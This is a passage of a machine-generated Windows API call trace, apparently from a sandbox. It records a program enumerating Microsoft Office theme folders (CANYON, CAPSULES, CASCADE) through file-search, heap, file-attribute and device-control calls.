lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910c90 [0241.513] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9134c8 [0241.513] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.513] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.513] GetLastError () returned 0x12 [0241.513] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.514] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.514] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.514] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0241.514] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0241.514] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.514] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.514] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.514] GetLastError () returned 0x12 [0241.514] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911c08) returned 1 [0241.514] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.514] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911b00) returned 1 [0241.514] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.514] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0241.514] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0241.544] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.544] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x914398 [0241.544] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x914398, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x914398, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.544] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x914398) returned 1 [0241.544] NtClose (Handle=0x1bc) returned 0x0 [0241.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911b00 [0241.545] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.545] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.545] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911c08 [0241.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910cb0 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9143b0 [0241.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.545] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.545] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910cd0 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9144b8 [0241.546] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.546] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.546] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.546] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910cf0 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9145c0 [0241.546] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.546] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.546] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.546] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910d10 [0241.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9146c8 [0241.546] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.546] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.546] GetLastError () returned 0x12 [0241.546] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.546] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.547] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.547] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0241.547] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0241.547] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.547] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.547] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.547] GetLastError () returned 0x12 [0241.547] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911b00) returned 1 [0241.547] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.547] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911c08) returned 1 [0241.547] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.547] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0241.547] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0241.647] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x916398 [0241.648] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x916398, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x916398, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x916398) returned 1 [0241.648] NtClose (Handle=0x1b0) returned 0x0 [0241.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9147d0 [0241.648] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.648] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.648] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0241.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9148d8 [0241.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910d30 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9149e0 [0241.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.649] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 